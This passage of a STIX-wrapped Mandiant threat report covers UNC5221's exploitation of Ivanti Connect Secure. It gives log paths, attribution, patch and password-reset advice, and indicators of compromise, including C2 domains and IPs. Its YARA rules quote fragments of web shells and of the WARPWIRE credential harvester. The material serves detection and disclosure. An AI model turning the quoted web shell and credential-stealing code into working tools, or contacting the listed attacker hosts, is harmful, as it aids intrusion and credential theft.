Path**\r\n\r\nevents\r\n\r\n/runtime/logs/log.events.vc0\r\n\r\nadmin\r\n\r\n/runtime/logs/log.admin.vc0\r\n\r\naccess\r\n\r\n/runtime/logs/log.access.vc0\r\n\r\ndiagnosticlog\r\n\r\n/runtime/logs/log.diagnosticlog.vc0\r\n\r\npolicytrace\r\n\r\n/runtime/logs/log.policytrace.vc0\r\n\r\nsensorslog\r\n\r\n/runtime/logs/log.sensorslog.vc0\r\n\r\nMandiant recommends hunting for event ID ADM20599 in the events log (log.events.vc0) for evidence of log clearing.\r\n\r\n## Attribution\r\n\r\nMandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has observed UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China (PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past intrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in incident response investigations use code from multiple Chinese-language Github repositories. As noted in our previous blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge infrastructure by suspected PRC nexus actors.\r\n\r\n## Recommendations\r\n\r\n### Patch Availability\r\n\r\nIvanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31, 2024. The remaining patches will be released on a staggered schedule for three different products that span multiple branches and versions.\r\n\r\n### Installing the Mitigation\r\n\r\nAffected customers should install the mitigation immediately if a patch is not yet available for their version. Installing the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to remediate or otherwise contain an existing compromised device.\r\n\r\nOn Jan. 20, 2024, Ivanti released details related to a condition that would negatively impact the mitigation and render appliances in a vulnerable state. The condition impacts customers who push configurations to appliances using Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing configurations to appliances with the XML in place until patches are installed.\r\n\r\n### Integrity Checker Tool\r\n\r\nIvanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity Checker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as it is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to tamper with the internal (built-in) ICT to evade detection.\r\n\r\nCustomers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the appliance is compromised and recommend next steps.\r\n\r\n### Password Resets\r\n\r\nIn addition to resetting the password of any local user configured on the appliance, Mandiant advises that organizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the appliance during the period when the malware was active. We also recommend customers search EDR telemetry and firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section. \r\n\r\n## Acknowledgements\r\n\r\nWe would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation of CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible without the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google TAG.\r\n\r\n## Indicators of Compromise (IOCs)\r\n\r\n### Host-Based Indicators (HBIs)\r\n\r\n**Filename**\r\n\r\n**MD5**\r\n\r\n**Description**\r\n\r\nhealth.py\r\n\r\n3045f5b3d355a9ab26ab6f44cc831a83\r\n\r\nCHAINLINE web shell\r\n\r\ncompcheckresult.cgi\r\n\r\n3d97f55a03ceb4f71671aa2ecf5b24e9\r\n\r\nLIGHTWIRE web shell\r\n\r\nlastauthserverused.js\r\n\r\n2ec505088b942c234f39a37188e80d7a\r\n\r\nWARPWIRE credential harvester variant\r\n\r\nlastauthserverused.js\r\n\r\n8eb042da6ba683ef1bae460af103cc44\r\n\r\nWARPWIRE credential harvester variant\r\n\r\nlastauthserverused.js\r\n\r\na739bd4c2b9f3679f43579711448786f\r\n\r\nWARPWIRE credential harvester variant\r\n\r\nlastauthserverused.js\r\n\r\na81813f70151a022ea1065b7f4d6b5ab\r\n\r\nWARPWIRE credential harvester variant\r\n\r\nlastauthserverused.js\r\n\r\nd0c7a334a4d9dcd3c6335ae13bee59ea\r\n\r\nWARPWIRE credential harvester\r\n\r\nlastauthserverused.js\r\n\r\ne8489983d73ed30a4240a14b1f161254\r\n\r\nWARPWIRE credential harvester variant\r\n\r\ncategory.py\r\n\r\n465600cece80861497e8c1c86a07a23e\r\n\r\nFRAMESTING web shell\r\n\r\nlogo.gif\r\n\r\nN/A \u2014 varies\r\n\r\nConfiguration and cache dump or CAV web server log exfiltration\r\n\r\nlogin.gif\r\n\r\nN/A \u2014 varies\r\n\r\nConfiguration and cache dump\r\n\r\n[a-fA-F0-9]{10}\\.css\r\n\r\nN/A \u2014 varies\r\n\r\nConfiguration and cache dump\r\n\r\nvisits.py\r\n\r\nN/A \u2014 varies\r\n\r\nWIREFIRE web shell\r\n\r\n### Network-Based Indicators (NBIs)\r\n\r\n**Network Indicator**\r\n\r\n**Type**\r\n\r\n**Description**\r\n\r\nsymantke[.]com\r\n\r\nDomain\r\n\r\nWARPWIRE C2 server\r\n\r\nmiltonhouse[.]nl\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nentraide-internationale[.]fr\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\napi.d-n-s[.]name\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\ncpanel.netbar[.]org\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nclickcom[.]click\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nclicko[.]click\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nduorhytm[.]fun\r\n\r\nDomai\u200b\u200bn\r\n\r\nWARPWIRE variant C2 server\r\n\r\nline-api[.]com\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nareekaweb[.]com\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nehangmun[.]com\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\nsecure-cama[.]com\r\n\r\nDomain\r\n\r\nWARPWIRE variant C2 server\r\n\r\n146.0.228[.]66\r\n\r\nIPv4\r\n\r\nWARPWIRE variant C2 server\r\n\r\n159.65.130[.]146\r\n\r\nIPv4\r\n\r\nWARPWIRE variant C2 server\r\n\r\n8.137.112[.]245\r\n\r\nIPv4\r\n\r\nWARPWIRE variant C2 server\r\n\r\n91.92.254[.]14\r\n\r\nIPv4\r\n\r\nWARPWIRE variant C2 server\r\n\r\n186.179.39[.]235 \r\n\r\nIPv4\r\n\r\nMass exploitation activity\r\n\r\n50.215.39[.]49\r\n\r\nIPv4\r\n\r\nPost-exploitation activity\r\n\r\n45.61.136[.]14\r\n\r\nIPv4\r\n\r\nPost-exploitation activity\r\n\r\n173.220.106[.]166\r\n\r\nIPv4\r\n\r\nPost-exploitation activity\r\n\r\n## YARA Rules\r\n\r\nrule M\\_Hunting\\_Webshell\\_BUSHWALK\\_1 {\r\n\r\n meta:\r\n\r\n author = \"Mandiant\"\r\n\r\n description = \"This rule detects BUSHWALK, a webshell written in Perl CGI that is embedded into a legitimate Pulse Secure file to enable file transfers\"\r\n\r\n \r\n\r\n strings:\r\n\r\n $s1 = \"SafariiOS\" ascii\r\n\r\n $s2 = \"command\" ascii\r\n\r\n $s3 = \"change\" ascii\r\n\r\n $s4 = \"update\" ascii\r\n\r\n $s5 = \"$data = RC4($key, $data);\" ascii\r\n\r\n condition:\r\n\r\n filesize < 5KB\r\n\r\n and all of them\r\n\r\n}\r\n\r\nrule M\\_Hunting\\_Webshell\\_CHAINLINE\\_1 {\r\n\r\n meta:\r\n\r\n author = \"Mandiant\"\r\n\r\n description = \"This rule detects the CHAINLINE webshell, which receives \r\nRC4 encrypted commands and returns the execution result\"\r\n\r\n md5 = \"3045f5b3d355a9ab26ab6f44cc831a83\"\r\n\r\n strings:\r\n\r\n $s1 = \"crypt(command: str)\" ascii\r\n\r\n $s2 = \"tmp[i] = chr(ord(tmp[i])\" ascii\r\n\r\n $s3 = \"ord(RC4\\_KEY[i % len(RC4\\_KEY)])\" ascii\r\n\r\n $s4 = \"class Health(Resource)\" ascii\r\n\r\n $s5 = \"crypt(base64.b64decode(command.encode(\" ascii\r\n\r\n $s6 = \"base64.b64encode(crypt(result)\" ascii\r\n\r\n $s7 = \"{\\\"message\\\": 'ok', \\\"stats\\\": result}\" ascii\r\n\r\n condition:\r\n\r\n filesize < 100KB and\r\n\r\n any of them\r\n\r\n}\r\n\r\nrule M\\_HUNTING\\_APT\\_Webshell\\_FRAMESTING\\_result\r\n\r\n{\r\n\r\n meta:\r\n\r\n author = \"Mandiant\"\r\n\r\n description = \"Detects strings associated with FRAMESTING webshell\"\r\n\r\n md5 = \"465600cece80861497e8c1c86a07a23e\"\r\n\r\n strings:\r\n\r\n $s1 = \"exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),{'request':request,'cache'\"\r\n\r\n $s2 = \"result={'message':'','action':0}\"\r\n\r\n \r\n\r\n condition:\r\n\r\n any of them\r\n\r\n}\r\n\r\nrule M\\_Hunting\\_Webshell\\_LIGHTWIRE\\_4 {\r\n\r\n meta:\r\n\r\n author = \"Mandiant\"\r\n\r\n description = \"Detects LIGHTWIRE based on the RC4 \r\ndecoding and execution 1-liner.\"\r\n\r\n md5 = \"3d97f55a03ceb4f71671aa2ecf5b24e9\"\r\n\r\n strings:\r\n\r\n $re1 = /eval\\{my.{1,20}Crypt::RC4->new\\(\\\".{1,50}->RC4\\(decode\\_base64\\(CGI::param\\(\\'.{1,30};eval\\s\\$.{1,30}\\\"Compatibility\\scheck:\\s\\$@\\\";\\}/\r\n\r\n condition:\r\n\r\n filesize < 1MB and all of them\r\n\r\n}\r\n\r\nrule M\\_Hunting\\_CredTheft\\_WARPWIRE\\_strings\r\n\r\n{\r\n\r\n meta:\r\n\r\n author = \"Mandiant\"\r\n\r\n description = \"Detects strings within WARPWIRE credential harvester\"\r\n\r\n md5 = \"b15f47e234b5d26fb2cc81fc6fd89775\"\r\n\r\n strings:\r\n\r\n $header = \"function SetLastRealm(sValue) {\"\r\n\r\n \r\n\r\n // password fields\r\n\r\n $username = \"document.frmLogin.username.value;\"\r\n\r\n $password = \"document.frmLogin.password.value;\"\r\n\r\n \r\n\r\n // post version\r\n\r\n $btoa = \"btoa(\"\r\n\r\n $xhr\\_post = /xhr.open\\(.POST.,( )?url,/\r\n\r\n \r\n\r\n // get version\r\n\r\n $xhr\\_get = /xhr.open\\(.GET.,( )?url,/\r\n\r\n $xhr\\_send = \"xhr.send(null);\"\r\n\r\n \r\n\r\n condition:\r\n\r\n $header in (0..100) \r\n\r\n and $password in (@username[1]..@username[1]+100)\r\n\r\n and ((#btoa > 1 and $xhr\\_post) or ($xhr\\_send in (@xhr\\_get[1]..@xhr\\_get[1]+50)))\r\n\r\n}\r\n\r\n## Mandiant Security Validation Actions\r\n\r\nOrganizations can validate their security controls using the following actions with Mandiant Security Validation.\r\n\r\n**VID**\r\n\r\n**Name**\r\n\r\nA106-938\r\n\r\nMalicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1\r\n\r\nA106-939\r\n\r\nMalicious File Transfer - FRAMESTING, Upload, Variant #1\r\n\r\nA106-940\r\n\r\nMalicious File Transfer - WARPWIRE, Download, Variant #3\r\n\r\nA106-941\r\n\r\nCommand and Control - WARPWIRE, DNS Query, Variant #3\r\n\r\nA106-942\r\n\r\nCommand and Control - WARPWIRE, DNS Query, Variant #1\r\n\r\nA106-943\r\n\r\nMalicious File Transfer - WARPWIRE, Download, Variant #1\r\n\r\nA106-944\r\n\r\nCommand and Control - WARPWIRE, DNS Query, Variant #2\r\n\r\nA106-945\r\n\r\nMalicious File Transfer - WARPWIRE, Download, Variant #2\r\n\r\nA106-946\r\n\r\nMalicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1\r\n\r\nA106-947\r\n\r\nMalicious File Transfer - LIGHTWIRE, Upload, Variant #1\r\n\r\nA106-934\r\n\r\nApplication Vulnerability - CVE-2024-21887, Command Injection, Variant #1\r\n\r\nA106-935\r\n\r\nApplication Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1\r\n\r\nA106-936\r\n\r\nApplication Vulnerability - CVE-2024-21887, Command Injection, Variant #2\r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\n Link to RSS feed\r\n\r\n# Prepare for 2024's cybersecurity landscape.\r\n\r\nGet the Google Cloud Cybersecurity Forecast 2024 report to explore the latest trends on the horizon.\r\n\r\n Download now \r\n ## Have questions? Let's talk.\r\n\r\nMandiant experts are ready to answer your questions.\r\n\r\n Contact Us",
"object_refs": [
"report--34237efb-adf4-452b-a322-0cbed70c7b33"
]
},
{
"type": "marking-definition",
"spec_version": "2.1",
"id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9",
"created": "2017-01-20T00:00:00.000Z",
"definition_type": "tlp",
"name": "TLP:WHITE",
"definition": {
"tlp": "white"
}
}
]
}